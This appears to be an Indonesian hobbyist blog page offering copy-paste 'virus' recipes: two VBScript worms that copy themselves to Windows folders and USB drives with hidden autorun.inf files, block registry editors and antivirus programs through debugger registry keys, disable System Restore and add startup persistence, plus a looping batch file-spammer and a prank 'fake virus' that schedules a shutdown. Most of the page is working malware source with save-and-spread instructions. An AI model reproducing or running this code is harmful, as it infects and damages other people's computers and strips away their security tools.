Virus Perusak

-------------------------script begin-------------------------- On
error resume next Dim dini,jatiya,i,loph,you,mf,isi,tf,vhck3d,nt,check,sd 'Siapkan isi autorun atau bahasa kerennya
make the autorun Isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe
vhck3d.vbs" Set you =
createobject("scripting.filesystemobject") Set mf = you.getfile(wscript.scriptfullname) Dim text,size Size = mf.size
Check = mf.drive.drivetype Set text = mf.openastextstream(1,-2) Do while not text.atendofstream Dini = dini &
text.readline Dini = dini & vbcrlf Loop Do 'Buat file induk bahasa coolnya prepare the mother Set i =
you.getspecialfolder(0) Set jatiya = you.getspecialfolder(1) Set tf = you.getfile(jatiya & "\hck3d.vbs") Tf.attributes = 32
Set tf = you.createtextfile(jatiya & "\hck3d.vbs",2,true) Tf.write dini Tf.close Set tf = you.getfile(jatiya & "\hck3d.vbs")
Tf.attributes = 39 'Sebar ke removable disc ditambahkan dengan autorun.inf ini saya mah gak tau bahasa inggrisnya
For each loph in you.drives If (loph.drivetype = 1 or loph.drivetype = 2) and loph.path <> "a:" then Set
tf=you.getfile(loph.path &"\vhck3d.sys.vbs") Tf.attributes =32 Set tf=you.createtextfile(loph.path &"\vhck3d.vbs",2,true)
Tf.write dini Tf.close Set tf=you.getfile(loph.path &"\vhck3d.vbs") Tf.attributes = 39 Set tf =you.getfile(loph.path
&"\autorun.inf") Tf.attributes = 32 Set tf=you.createtextfile(loph.path &"\autorun.inf",2,true) Tf.write isi Tf.close Set tf =
you.getfile(loph.path &"\autorun.inf") Tf.attributes=39 End if Next 'Manipulasi registry Set vhck3d =
createobject("wscript.shell") 'Banyak yang dirubah..liat ndiri deh aaah Vhck3d.regwrite
"hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution
options\msconfig.exe\debugger","" Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows
nt\currentversion\image file execution options\regedit.exe\debugger","" Vhck3d.regwrite
"hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution
options\regedt32.exe\debugger","" Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows
nt\currentversion\image file execution options\registryeditor.exe\debugger","" Vhck3d.regwrite
"hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\setup.exe\debugger",""
Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution
options\avscan.exe\debugger","" Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows
nt\currentversion\image file execution options\avcenter.exe\debugger","" Vhck3d.regwrite
"hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution
options\ashavast.exe\debugger","" Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows
nt\currentversion\image file execution options\ansav.exe\debugger","" Vhck3d.regwrite
"hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution
options\viremoval.exe\debugger","" Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows
nt\currentversion\image file execution options\viremover.exe\debugger","" Vhck3d.regwrite
"hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\pcmav-
cln.exe.exe\debugger","" Vhck3d.regwrite
"hkey_local_machine\software\microsoft\windows\currentversion\winlogon\legalnoticecaption", "my loph dini"
Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows\installer\limitsystemrestorecheckpointing",
"1", "reg_dword" Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows\installer\disablemsi", "1",
"reg_dword" Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows nt\systemrestore\disablesr",
"1", "reg_dword" Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows
nt\systemrestore\disableconfig", "1", "reg_dword" If check <> 1 then Wscript.sleep 200000 End if Loop while check
<> 1 Set sd = createobject("wscript.shell") Sd.run i & "\explorer.exe /e,/select, " & wscript.scriptfullname --------------
---------end script-----------------------------

kerusakan TIDAK DITANGGUNG continue...

Virus

copy script di bawah ini:

Code:
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size

check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Andre Susanto"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname




kemudian paste di notepad, trus save pake format .vbs misal, tes.vbs
kerusakan TIDAK DI TANGGUNG continue...

Virus Batch

Copy COde Dibawah ini
C:\WINDOWS\system32
cd
mkdir\Alert\Warning\Dangers\We_r_watching_u\Boultrack
mkdir\You've_been\hack\by_CahDermayu
@echo off
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack
echo Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack
echo Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack
echo Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack
echo ============= Fuck You ==============
echo ============= DarkHackerTeam ==============
echo ============ 17 Agustus 1945 ==============
echo Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack
echo Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack
echo Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack
echo Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack Hack
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Pause>null

yz
echo>>A.reg
echo>>b.chm
echo>>c.dll
echo>>d.htt
cls
goto xyz
lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:
[autorun]
open=nama_file.bat
- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY continue...

Bikin Virus Palsu

Siapa yang tidak tahu notepad? (kalo gak tau buka Start >>All Programs >>Accessories >>Notepad) Kalau dah tau, sekarang gw bakal mencoba membuat tampilan menggunakan notepad. Ini adalah tampilan yang dapat dibuat seperti virus(bwad iseng doank), gak berbahaya. jadi kalo lo mau nakut2in temen, kirim aja program ini ke temen lo.

ok, kita mulai aja. Ketikan tulisan di bawah ini ke notepad kosong/baru:



@echo off
C:
cls
Echo You are harddisk have been infected by VIRUS ( cHaYaNK212 )
ping localhost -n 7 >nul
cls
Echo Do you want to kill all programs? (Y/N)
pause >nul
cls
Echo Do you want to kill operating system? (Y/N)
pause >nul
cls
Echo Are you sure want to format the harddisk? (Y/N)
pause >nul
cls
Echo Are you sure want to delete all data? (Y/N)
pause >nul
cls
Echo Deleting All Data
ping localhost -n 2 >nul
cls
Echo Deleting All Data.
ping localhost -n 2 >nul
cls
Echo Deleting All Data..
ping localhost -n 2 >nul
cls
Echo Deleting All Data…
cls
Echo Deleting All Data
ping localhost -n 2 >nul
cls
Echo Deleting All Data.
ping localhost -n 2 >nul
cls
Echo Deleting All Data..
ping localhost -n 2 >nul
cls
Echo Deleting All Data…
ping localhost -n 2 >nul
cls
dir /s
shutdown -s -t 900 -c “you have been
:hack
echo You have just been hacked
goto hack

setelah itu, save as notepad tersebut dengan [nama].bat (bukan [nama].Txt).

Sebenernya Virus palsu ini bukan asli dari pemikiran gw, tapi setelah gw tambah2in malah jadi lebih nyeremin. itu sih kata gw ya……

Note : nomor 2 dan 7 adalah hitungan detik teks terlihat oleh kalian continue...